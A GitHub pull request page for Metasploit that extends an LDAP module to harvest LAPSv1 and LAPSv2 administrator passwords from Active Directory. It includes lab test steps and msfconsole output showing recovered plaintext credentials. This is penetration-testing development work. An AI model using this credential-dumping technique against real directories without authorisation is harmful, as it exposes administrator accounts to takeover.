Skip to content

Add LAPSv1 and LAPSv2 LDAP Module #20017

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 14 commits into from
Apr 30, 2025

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Apr 9, 2025

This updates and moves the existing ldap_hashdump module to ldap_passwords and extends the attributes it searches for to process those used by LAPSv1 and LAPSv2 (both encrypted and unencrypted). The original ldap_hashdump module would search for hashes and passwords from misc LDAP server implementations. The original seemed to have been inspired by CVE-2020-3952, for which there is still a dedicated module. The changers herein effectively add techniques specific to Active Directory LDAP servers. I think it makes a lot of sense to combine the functionality because:

  • Users don't need to know if the target server is an Active Directory server or not removing the need for them to fingerprint then run the appropriate module.
  • The module still only runs a single LDAP query for secret harvesting, so there's no major increase in query activity.
  • The logic is effectively the same, LDAP objects that have certain attributes are returned and processed

I'm open to suggestions on better names for the module. Perhaps ldap_secrets_dump would be more intuitive given everything it looks for.

In addition to the module updates, the ldap_spec tests have been updated for this module. The target LDAP server that the tests use is Samba as an Active Directory Domain Controller, so it makes sense to add the new password data that is applicable in AD environments. To support that, the tests were updated to add test accounts with both LAPSv1 and LAPSv2 passwords in use. Only plaintext LAPSv2 can be used, because the encrypted variant requires the GKDI service that Samba does not support.

Closes #19838

Verification

Testing requires changes from rapid7/ruby_smb#286 and rapid7/ruby_smb#284. The last commit points to a temporary branch to make testing easier. The temporary branch includes changes from both PRs.

  • Test the original functionality still works against an OpenLDAP target
    • Clone HynekPetrak/bitnami-docker-openldap by running git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
    • Use docker to set it up by running cd bitnami-docker-openldap && docker-compose up -d
    • Run the module against it and see two passwords recovered
  • Setup a Windows Active Directory Domain Controller (snapshot it if you're using virtualization so you can toggle between LAPS versions)
    • Setup LAPSv1 by following the Microsoft Docs and the extra setup instructions in the module docs
    • Run the module against the DC and see that LAPS secrets were extracted from the ms-mcs-admpwd attribute
    • Setup LAPSv2 by following the Microsoft documentation
    • Run the module against the DC and see that LAPS secrets were extracted from the mslaps-encryptedpassword or mslaps-password attribute depending on if encryption was enabled

Demo

msf6 auxiliary(gather/ldap_passwords) > run
[+] Successfully bound to the LDAP server!
[*] Discovered base DN: DC=msflab,DC=local
[*] Checking if the target LDAP server is an Active Directory Domain Controller...
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=msflab,DC=local
[*] Connecting to Group Key Distribution (GKDI) Protocol
[*] Mapping GKDI endpoints...
[*] Binding to GKDI via ncacn_ip_tcp:192.168.159.10[49693]...
[*] Bound to GKDI
[+] Credentials (password) found in mslaps-encryptedpassword: Administrator:m8L3A.LcZ9!lnT (expires: 2025-03-08 17:22:57 UTC)
[*] Found 1 entries and 1 credentials in 'DC=msflab,DC=local'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_passwords) >

@zeroSteiner zeroSteiner marked this pull request as ready for review April 9, 2025 20:45
@smcintyre-r7 smcintyre-r7 added docs rn-modules release notes for new or majorly enhanced modules labels Apr 9, 2025
@jheysel-r7 jheysel-r7 self-assigned this Apr 24, 2025
@jheysel-r7 jheysel-r7 moved this from Todo to In Progress in Metasploit Kanban Apr 28, 2025
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Awesome work @zeroSteiner. A couple questions. Testing was as expected 👍

Testing

Open LDAP

msf6 auxiliary(gather/ldap_passwords) > rerun ldap://:@127.0.0.1:1389
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovered base DN: dc=example,dc=org
[*] The target LDAP server is not an Active Directory Domain Controller.
[*] Searching base DN: dc=example,dc=org
[+] Credentials (password) found in userpassword: user01:password1
[+] Credentials (password) found in userpassword: user02:password2
[*] Found 2 entries and 2 credentials in 'dc=example,dc=org'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

LAPSv1:

msf6 auxiliary(gather/ldap_passwords) > run ldap://kerberos.issue;Administrator:[email protected]
[+] Successfully bound to the LDAP server!
[*] Discovered base DN: DC=kerberos,DC=issue
[*] Checking if the target LDAP server is an Active Directory Domain Controller...
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=kerberos,DC=issue
[+] Credentials (password) found in ms-mcs-admpwd: Administrator:d4(Hn9qF (expires: 2026-04-18 20:12:35 UTC)
[!] No active DB -- Credential data will not be saved!
[*] Found 1 entries and 1 credentials in 'DC=kerberos,DC=issue'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

LAPSv2

msf6 auxiliary(gather/ldap_passwords) > run ldap://msf.local;Administrator:[email protected]
[+] Successfully bound to the LDAP server!
[*] Discovered base DN: DC=msf,DC=local
[*] Checking if the target LDAP server is an Active Directory Domain Controller...
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=msf,DC=local
[+] Credentials (password) found in mslaps-password: Administrator:n7.1&+#xrp3JuV (expires: 2025-05-29 04:24:40 UTC)
[!] No active DB -- Credential data will not be saved!
[*] Found 1 entries and 1 credentials in 'DC=msf,DC=local'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

@zeroSteiner zeroSteiner force-pushed the feat/mod/ldap/passwords branch from ea19e12 to 2fdb261 Compare April 30, 2025 20:39
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Retested with latest change and is working as expected 👍

msf6 auxiliary(gather/ldap_passwords) > run ldap://msf.local;Administrator:[email protected]
[*] Discovered base DN: DC=msf,DC=local
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=msf,DC=local
[+] Credentials (password) found in mslaps-password: Administrator:n7.1&+#xrp3JuV (expires: 2025-05-29 04:24:40 UTC)
[*] Found 1 entries and 1 credentials in 'DC=msf,DC=local'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_passwords) > run ldap://kerberos.issue;Administrator:[email protected]
[*] Discovered base DN: DC=kerberos,DC=issue
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=kerberos,DC=issue
[+] Credentials (password) found in ms-mcs-admpwd: Administrator:d4(Hn9qF (expires: 2026-04-18 20:12:35 UTC)
[*] Found 1 entries and 1 credentials in 'DC=kerberos,DC=issue'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_passwords) > rerun ldap://:@127.0.0.1:1389
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovered base DN: dc=example,dc=org
[*] The target LDAP server is not an Active Directory Domain Controller.
[*] Searching base DN: dc=example,dc=org
[+] Credentials (password) found in userpassword: user01:password1
[+] Credentials (password) found in userpassword: user02:password2
[*] Found 2 entries and 2 credentials in 'dc=example,dc=org'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

@jheysel-r7 jheysel-r7 merged commit 3141152 into rapid7:master Apr 30, 2025
63 checks passed
@github-project-automation github-project-automation bot moved this from In Progress to Done in Metasploit Kanban Apr 30, 2025
@jheysel-r7
Copy link
Contributor

Release Notes

This updates and renames the ldap_hashdump module to ldap_passwords, extending its functionality to extract secrets used by LAPSv1 and LAPSv2 in Active Directory environments, alongside existing LDAP implementations. It simplifies usage by unifying techniques under one module and avoids requiring users to fingerprint the server type. Associated tests were also updated to include AD-specific data using Samba as a test LDAP server.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

Add a module for LAPS v1 and v2
3 participants